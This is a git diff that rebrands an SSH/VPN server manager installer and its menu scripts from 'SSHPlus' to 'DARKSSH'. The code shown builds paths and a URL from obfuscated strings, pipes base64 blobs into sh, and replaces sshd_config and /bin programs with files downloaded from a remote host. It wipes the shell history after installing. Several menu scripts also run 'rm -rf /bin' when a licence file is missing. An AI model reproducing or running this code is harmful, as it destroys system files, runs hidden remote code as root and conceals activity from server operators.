diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 176a458..0000000 --- a/.gitattributes +++ /dev/null @@ -1 +0,0 @@ -* text=auto diff --git a/Plus b/Dark similarity index 90% rename from Plus rename to Dark index 859b638..a254c88 100644 --- a/Plus +++ b/Dark @@ -2,7 +2,7 @@ clear [[ "$(whoami)" != "root" ]] && { echo -e "\033[1;33m[\033[1;31mErro\033[1;33m] \033[1;37m- \033[1;33myou need to run as root\033[0m" -rm $HOME/Plus > /dev/null 2>&1; exit 0 +rm $HOME/Dark > /dev/null 2>&1; exit 0 } _lnk=$(echo 't1:e#n.5s0ul&p4hs$s.0729t9p$&8i&&9r7827c032:3s'| sed -e 's/[^a-z.]//ig'| rev); _Ink=$(echo '/3×u3#s87r/l32o4×c1a×l1/83×l24×i0b×'|sed -e 's/[^a-z/]//ig'); _1nk=$(echo '/3×u3#s×87r/83×l2×4×i0b×'|sed -e 's/[^a-z/]//ig') cd $HOME @@ -36,7 +36,7 @@ function verif_key () { krm=$(echo '5:q-3gs2.o7%8:1'|rev); chmod +x $_Ink/list > /dev/null 2>&1 [[ ! -e "$_Ink/list" ]] && { echo -e "\n\033[1;31mINVALID KEY!\033[0m" - rm -rf $HOME/Plus > /dev/null 2>&1 + rm -rf $HOME/Dark > /dev/null 2>&1 sleep 2 clear; exit 1 } @@ -57,19 +57,19 @@ echo -e "\033[1;31m≠×≠×≠×≠×≠×≠×≠×≠×[\033[1;33m • \033[ echo "" #----------------------------------------------------------------------------------------------------------------- read -p "$(echo -e "\033[1;36mDO YOU WISH TO CONTINUE \033[1;31m? \033[1;33m[S/N]:\033[1;37m ")" -e -i s resp -[[ $resp = @(n|N) ]] && rm $HOME/Plus && exit 0 +[[ $resp = @(n|N) ]] && rm $HOME/Dark && exit 0 cp /etc/ssh/sshd_config /etc/ssh/sshd_back -wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/sshd_config > /dev/null 2>&1 +wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/sshd_config > /dev/null 2>&1 service ssh restart > /dev/null 2>&1 -echo -e "\n\033[1;36mපරීක්ෂා කිරීම ... \033[1;37m 16983:16085\033[0m" ; rm $_Ink/list > /dev/null 2>&1; wget -P $_Ink https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/list > /dev/null 2>&1; verif_key +echo -e "\n\033[1;36mපරීක්ෂා කිරීම ... \033[1;37m 16983:16085\033[0m" ; rm $_Ink/list > /dev/null 2>&1; wget -P $_Ink https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/list > /dev/null 2>&1; verif_key sleep 3s echo "/bin/menu" > /bin/h && chmod +x /bin/h > /dev/null 2>&1 -echo "apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Plus; chmod 777 Plus; ./Plus" > /bin/sshplus && chmod +x /bin/sshplus > /dev/null 2>&1 -wget -O /bin/menuV1 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Modulos/menuV1 > /dev/null 2>&1; chmod +x /bin/menuV1 -wget -O /bin/menuV2 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/menuV2 > /dev/null 2>&1; chmod +x /bin/menuV2 -wget -O /bin/menuV3 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/menuV3 > /dev/null 2>&1; chmod +x /bin/menuV3 -wget -O /bin/menuV4 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/menuV4 > /dev/null 2>&1; chmod +x /bin/menuV4 -rm versao* > /dev/null 2>&1; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/versao > /dev/null 2>&1 +echo "apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Dark; chmod 777 Dark; ./Dark" > /bin/darkssh && chmod +x /bin/darkssh > /dev/null 2>&1 +wget -O /bin/menuV1 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Modulos/menuV1 > /dev/null 2>&1; chmod +x /bin/menuV1 +wget -O /bin/menuV2 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/menuV2 > /dev/null 2>&1; chmod +x /bin/menuV2 +wget -O /bin/menuV3 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/menuV3 > /dev/null 2>&1; chmod +x /bin/menuV3 +wget -O /bin/menuV4 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/menuV4 > /dev/null 2>&1; chmod +x /bin/menuV4 +rm versao* > /dev/null 2>&1; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/versao > /dev/null 2>&1 echo 'IlwwMzNbMTszMW3iiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOXW1wwMzNbMTszM20g4oCiIFwwMzNbMTszMm0gQnk9ICDwn5Sl4pqh77iP4pqh77iPIFNpdGh1bSBCYXRyb3cg8J+HsfCfh7Ag4pqh77iP4pqh77iP8J+UpSBcMDMzWzE7MzNtIOKAolwwMzNbMTszMW0gXeKJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5dcMDMzWzBtIgpta2RpciAvZXRjL3N0dW5uZWwKY2F0IDw8IEVPRiA+IC9ldGMvc3R1bm5lbC9zdHVubmVsLmNvbmYKY2VydCA9IC9ldGMvc3R1bm5lbC9zdHVubmVsLnBlbQpjbGllbnQgPSBubwpzb2NrZXQgPSBhOlNPX1JFVVNFQUREUj0xCnNvY2tldCA9IGw6VENQX05PREVMQVk9MQpzb2NrZXQgPSByOlRDUF9OT0RFTEFZPTEKW3N0dW5uZWxdCmNvbm5lY3QgPSAwLjAuMC4wOjIyCmFjY2VwdCA9IDQ0Mwpzc2xWZXJzaW9uID0gYWxsCkVPRgogIlwwMzNbMTszMW3iiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOXW1wwMzNbMTszM20g4oCiIFwwMzNbMTszMm0gQnk9ICDwn5Sl4pqh77iP4pqh77iPIFNpdGh1bSBCYXRyb3cg8J+HsfCfh7Ag4pqh77iP4pqh77iP8J+UpSBcMDMzWzE7MzNtIOKAolwwMzNbMTszMW0gXeKJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5dcMDMzWzBtIgoKb3BlbnNzbCByZXEgLW5ldyAtbmV3a2V5IHJzYTo0MDk2IC1kYXlzIDM2NSAtbm9kZXMgLXg1MDkgXAogICAgLXN1YmogIi9DPVVTL1NUPURlbmlhbC9MPVNwcmluZ2ZpZWxkL089RGlzL0NOPXd3dy5leGFtcGxlLmNvbSIgXAogICAgLW91dCBzdHVubmVsLnBlbSAgLWtleW91dCBzdHVubmVsLnBlbQoKY3Agc3R1bm5lbC5wZW0gL2V0Yy9zdHVubmVsL3N0dW5uZWwucGVtCmNobW9kIDY0NCAvZXRjL3N0dW5uZWwvc3R1bm5lbC5wZW0KCnNlcnZpY2Ugc3R1bm5lbDQgcmVzdGFydCAKc2VydmljZSBzc2ggcmVzdGFydCAKL2V0Yy9pbml0LmQvc3R1bm5lbDQgcmVzdGFydAplY2hvIC1lICJcMDMzWzE7MzFt4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl1tcMDMzWzE7MzNtIOKAoiBcMDMzWzE7MzJtIEJ5PSAg8J+UpeKaoe+4j+Kaoe+4jyBTaXRodW0gQmF0cm93IPCfh7Hwn4ewIOKaoe+4j+Kaoe+4j/CflKUgXDAzM1sxOzMzbSDigKJcMDMzWzE7MzFtIF3iiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOXXDAzM1swbSI=' | base64 -d | sh #----------------------------------------------------------------------------------------------------------------- echo -e "\n\033[1;32mKEY වලංගුයි!\033[1;32m" @@ -104,8 +104,8 @@ echo -e " \033[1;33mUPDATES USING TO TAKE A LITTLE TIME!\033[0m" echo "" fun_attlist () { apt-get update -y - [[ ! -d /usr/share/.plus ]] && mkdir /usr/share/.plus - echo "crz: $(date)" > /usr/share/.plus/.plus + [[ ! -d /usr/share/.dark ]] && mkdir /usr/share/.dark + echo "crz: $(date)" > /usr/share/.dark/.dark } fun_bar 'fun_attlist' clear @@ -137,5 +137,5 @@ echo -e " \033[1;33m • \033[1;32mINSTALLATION COMPLETED\033[1;33m • \ echo "" echo -e "\033[1;31m \033[1;33mMAIN COMMAND: \033[1;32mmenu\033[0m" echo 'ZWNobyAtZSAiXDAzM1sxOzMzbSBNT1JFIElORk9STUFUSU9OICjgt4Dgt5Dgtqngt5Ig4LeA4LeS4LeD4LeK4Lat4La7KSBcMDMzWzE7MzFtKFwwMzNbMTszNm1URUxFR1JBTVwwMzNbMTszMW0pOiBcMDMzWzE7MzdtQHNpYmF0cm93IPCflKXimqHvuI/imqHvuI8gU2l0aHVtIEJhdHJvdyDwn4ex8J+HsCDimqHvuI/imqHvuI/wn5SlXDAzM1swbSI=' | base64 -d | sh -rm $HOME/Plus && cat /dev/null > ~/.bash_history && history -c +rm $HOME/Dark && cat /dev/null > ~/.bash_history && history -c diff --git a/Install/Menu_UP/blockt b/Install/Menu_UP/blockt index f263e5f..e31fc93 100644 --- a/Install/Menu_UP/blockt +++ b/Install/Menu_UP/blockt @@ -1,7 +1,7 @@ #!/bin/bash clear IP=$(wget -qO- ipv4.icanhazip.com) -arq="/etc/Plus-torrent" +arq="/etc/Dark-torrent" echo -e "\E[44;1;37m FIREWALL BLOQUEIO TORRENT \E[0m" echo "" if [[ -e "$arq" ]]; then @@ -136,7 +136,7 @@ iptables -A FORWARD -m string --string "announce_peer" --algo bm -j DROP iptables -A FORWARD -m string --string "find_node" --algo bm -j DROP' >> $arq sleep 2 chmod +x $arq -/etc/Plus-torrent > /dev/null +/etc/Dark-torrent > /dev/null } fun_spn2 () { helice () { diff --git a/Install/Menu_UP/conexao b/Install/Menu_UP/conexao index 0d33e90..20fdb47 100644 --- a/Install/Menu_UP/conexao +++ b/Install/Menu_UP/conexao @@ -1,10 +1,10 @@ #!/bin/bash #==================================================== -# SCRIPT: CONEXAO SSHPLUS MANAGER +# SCRIPT: CONEXAO DARKSSH MANAGER # DESENVOLVIDO POR: CRAZY_VPN # DATA ATUALIZACAO: 28-04-2021 # CONTATO TELEGRAM: http://t.me/crazy_vpn -# CANAL TELEGRAM: http://t.me/sshplus +# CANAL TELEGRAM: http://t.me/darkssh #==================================================== [[ $(awk -F" " '{print $2}' /usr/lib/licence) == "@CRAZY_VPN" ]] && { ram1=$(free -h | grep -i mem | awk {'print $2'}) @@ -17,7 +17,7 @@ comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim - [[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu + [[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu ${comando[0]} >/dev/null 2>&1 ${comando[1]} >/dev/null 2>&1 touch $HOME/fim @@ -153,7 +153,7 @@ acl url1 dstdomain -i 127.0.0.1 acl url2 dstdomain -i localhost acl url3 dstdomain -i $ipdovps - acl url4 dstdomain -i /SSHPLUS? + acl url4 dstdomain -i /DARKSSH? acl payload url_regex -i "$var_pay" acl all src 0.0.0.0/0 @@ -172,7 +172,7 @@ done cat <<-EOF >>$var_sqd #Nome squid - visible_hostname SSHPLUS + visible_hostname DARKSSH via off forwarded_for off pipeline_prefetch off @@ -568,7 +568,7 @@ #cat cert.pem key.pem >>/etc/stunnel/stunnel.pem #rm key.pem cert.pem >/dev/null 2>&1 sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 - cd /etc/stunnel && wget sshplus.xyz/script/stunnel.pem && cd $HOME + cd /etc/stunnel && wget darkssh.xyz/script/stunnel.pem && cd $HOME } fun_bar 'ssl_certif' echo -e "\n\033[1;32mINICIANDO O SSL TUNNEL !\033[0m" @@ -1074,7 +1074,7 @@ fun_dep() { wget -O ~/EasyRSA-3.0.1.tgz "https://github.com/OpenVPN/easy-rsa/releases/download/3.0.1/EasyRSA-3.0.1.tgz" [[ ! -e $HOME/EasyRSA-3.0.1.tgz ]] && { - wget -O ~/EasyRSA-3.0.1.tgz "http://sshplus.xyz/script/EasyRSA-3.0.1.tgz" + wget -O ~/EasyRSA-3.0.1.tgz "http://darkssh.xyz/script/EasyRSA-3.0.1.tgz" } tar xzf ~/EasyRSA-3.0.1.tgz -C ~/ mv ~/EasyRSA-3.0.1/ /etc/openvpn/ @@ -1086,7 +1086,7 @@ ./easyrsa --batch build-ca nopass ./easyrsa gen-dh ./easyrsa build-server-full server nopass - ./easyrsa build-client-full SSHPLUS nopass + ./easyrsa build-client-full DARKSSH nopass ./easyrsa gen-crl cp pki/ca.crt pki/private/ca.key pki/dh.pem pki/issued/server.crt pki/private/server.key /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn chown nobody:$GROUPNAME /etc/openvpn/crl.pem @@ -1223,7 +1223,7 @@ exit 0' >$RCLOCAL fi [[ $(grep -wc 'open.py' /etc/autostart) != '0' ]] && pt_proxy=$(grep -w 'open.py' /etc/autostart| cut -d' ' -f6) || pt_proxy=80 cat <<-EOF >/etc/openvpn/client-common.txt - # OVPN_ACCESS_SERVER_PROFILE=[SSHPLUS] + # OVPN_ACCESS_SERVER_PROFILE=[DARKSSH] client dev tun proto $PROTOCOL @@ -1247,7 +1247,7 @@ exit 0' >$RCLOCAL float EOF # gerar client.ovpn - newclient "SSHPLUS" + newclient "DARKSSH" [[ "$(netstat -nplt | grep -wc 'openvpn')" != '0' ]] && echo -e "\n\033[1;32mOPENVPN INSTALADO COM SUCESSO\033[0m" || echo -e "\n\033[1;31mERRO ! A INSTALACAO CORROMPEU\033[0m" } sed -i '$ i\echo 1 > /proc/sys/net/ipv4/ip_forward' /etc/rc.local @@ -1321,12 +1321,12 @@ exit 0' >$RCLOCAL verif_ptrs $porta fun_inisocks() { sleep 1 - screen -dmS proxy python /etc/SSHPlus/proxy.py $porta + screen -dmS proxy python /etc/DARKssh/proxy.py $porta [[ $(grep -wc "proxy.py" /etc/autostart) = '0' ]] && { - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/SSHPlus/proxy.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/DARKssh/proxy.py $porta; }" >>/etc/autostart } || { sed -i '/proxy.py/d' /etc/autostart - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/SSHPlus/proxy.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/DARKssh/proxy.py $porta; }" >>/etc/autostart } } echo "" @@ -1376,17 +1376,17 @@ exit 0' >$RCLOCAL verif_ptrs $porta fun_inisocksop() { [[ "$(netstat -tlpn | grep 'openvpn' | wc -l)" != '0' ]] && { - listoldop=$(grep -w 'DEFAULT_HOST =' /etc/SSHPlus/open.py | cut -d"'" -f2 | cut -d: -f2) + listoldop=$(grep -w 'DEFAULT_HOST =' /etc/DARKssh/open.py | cut -d"'" -f2 | cut -d: -f2) listopen=$(netstat -tlpn | grep -w openvpn | grep -v 127.0.0.1 | awk {'print $4'} | cut -d: -f2) - sed -i "s/$listoldop/$listopen/" /etc/SSHPlus/open.py + sed -i "s/$listoldop/$listopen/" /etc/DARKssh/open.py } sleep 1 - screen -dmS openpy python /etc/SSHPlus/open.py $porta + screen -dmS openpy python /etc/DARKssh/open.py $porta [[ $(grep -wc "open.py" /etc/autostart) = '0' ]] && { - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/SSHPlus/open.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/DARKssh/open.py $porta; }" >>/etc/autostart } || { sed -i '/open.py/d' /etc/autostart - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/SSHPlus/open.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/DARKssh/open.py $porta; }" >>/etc/autostart } } echo "" @@ -1421,7 +1421,7 @@ exit 0' >$RCLOCAL echo "" abrirptsks() { sleep 1 - screen -dmS proxy python /etc/SSHPlus/proxy.py $porta + screen -dmS proxy python /etc/DARKssh/proxy.py $porta sleep 1 } fun_bar 'abrirptsks' @@ -1438,7 +1438,7 @@ exit 0' >$RCLOCAL elif [[ "$resposta" = '4' ]]; then if ps x | grep -w proxy.py | grep -v grep 1>/dev/null 2>/dev/null; then clear - msgsocks=$(cat /etc/SSHPlus/proxy.py | grep -E "MSG =" | awk -F = '{print $2}' | cut -d "'" -f 2) + msgsocks=$(cat /etc/DARKssh/proxy.py | grep -E "MSG =" | awk -F = '{print $2}' | cut -d "'" -f 2) echo -e "\E[44;1;37m PROXY SOCKS \E[0m" echo "" echo -e "\033[1;33mSTATUS: \033[1;32m$msgsocks" @@ -1493,11 +1493,11 @@ exit 0' >$RCLOCAL cor_sts='null' fi fun_msgsocks() { - msgsocks2=$(cat /etc/SSHPlus/proxy.py | grep "MSG =" | awk -F = '{print $2}') - sed -i "s/$msgsocks2/ '$msgg'/g" /etc/SSHPlus/proxy.py + msgsocks2=$(cat /etc/DARKssh/proxy.py | grep "MSG =" | awk -F = '{print $2}') + sed -i "s/$msgsocks2/ '$msgg'/g" /etc/DARKssh/proxy.py sleep 1 - cor_old=$(grep 'color=' /etc/SSHPlus/proxy.py | cut -d '"' -f2) - sed -i "s/\b$cor_old\b/$cor_sts/g" /etc/SSHPlus/proxy.py + cor_old=$(grep 'color=' /etc/DARKssh/proxy.py | cut -d '"' -f2) + sed -i "s/\b$cor_old\b/$cor_sts/g" /etc/DARKssh/proxy.py } echo "" @@ -1513,7 +1513,7 @@ exit 0' >$RCLOCAL screen -wipe >/dev/null _Ptsks="$(cat /tmp/Pt_sks)" sleep 1 - screen -dmS proxy python /etc/SSHPlus/proxy.py $_Ptsks + screen -dmS proxy python /etc/DARKssh/proxy.py $_Ptsks rm /tmp/Pt_sks fi } @@ -1669,7 +1669,7 @@ exit 0' >$RCLOCAL x="ok" fun_conexao() { while true $x != "ok"; do - [[ ! -e '/home/sshplus' ]] && exit 0 + [[ ! -e '/home/darkssh' ]] && exit 0 clear echo -e "\E[44;1;37m MODO DE CONEXAO \E[0m\n" echo -e "\033[1;32mSERVICO: \033[1;33mOPENSSH \033[1;32mPORTA: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)" && sts6="\033[1;32m◉ " @@ -1712,7 +1712,7 @@ exit 0' >$RCLOCAL sts1="\033[1;31m○ " } [[ "$(ps x | grep 'slow_dns' | grep -v 'grep'|wc -l)" != '0' ]] && { - echo -e "\033[1;32mSERVICO: \033[1;33mSLOWDNS \033[1;32mPORTA: \033[1;37m$(sed -n 1p /etc/SSHPlus/dns/autodns | awk '{print $6}' | cut -d':' -f2)" + echo -e "\033[1;32mSERVICO: \033[1;33mSLOWDNS \033[1;32mPORTA: \033[1;37m$(sed -n 1p /etc/DARKssh/dns/autodns | awk '{print $6}' | cut -d':' -f2)" sts8="\033[1;32m◉ " } || { sts8="\033[1;31m○ " diff --git a/Install/Menu_UP/menuV2/menuV2 b/Install/Menu_UP/menuV2/menuV2 index 8719dcc..06c4287 100644 --- a/Install/Menu_UP/menuV2/menuV2 +++ b/Install/Menu_UP/menuV2/menuV2 @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -39,7 +39,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu +[[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu ${comando[0]} > /dev/null 2>&1 ${comando[1]} > /dev/null 2>&1 touch $HOME/fim @@ -152,7 +152,7 @@ function autoexec () { while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -170,7 +170,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -185,7 +185,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV3/ferramentascodes b/Install/Menu_UP/menuV3/ferramentascodes index f7fd83f..a65843c 100644 --- a/Install/Menu_UP/menuV3/ferramentascodes +++ b/Install/Menu_UP/menuV3/ferramentascodes @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -39,7 +39,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu +[[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu ${comando[0]} > /dev/null 2>&1 ${comando[1]} > /dev/null 2>&1 touch $HOME/fim @@ -84,7 +84,7 @@ rm -rf $HOME/speed while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -102,7 +102,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -117,7 +117,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV3/menu b/Install/Menu_UP/menuV3/menu index 198c277..7a32fcb 100644 --- a/Install/Menu_UP/menuV3/menu +++ b/Install/Menu_UP/menuV3/menu @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -63,7 +63,7 @@ function autoexec () { while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -81,7 +81,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -96,7 +96,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV3/usercodes b/Install/Menu_UP/menuV3/usercodes index fd75e88..dde210d 100644 --- a/Install/Menu_UP/menuV3/usercodes +++ b/Install/Menu_UP/menuV3/usercodes @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -71,7 +71,7 @@ function 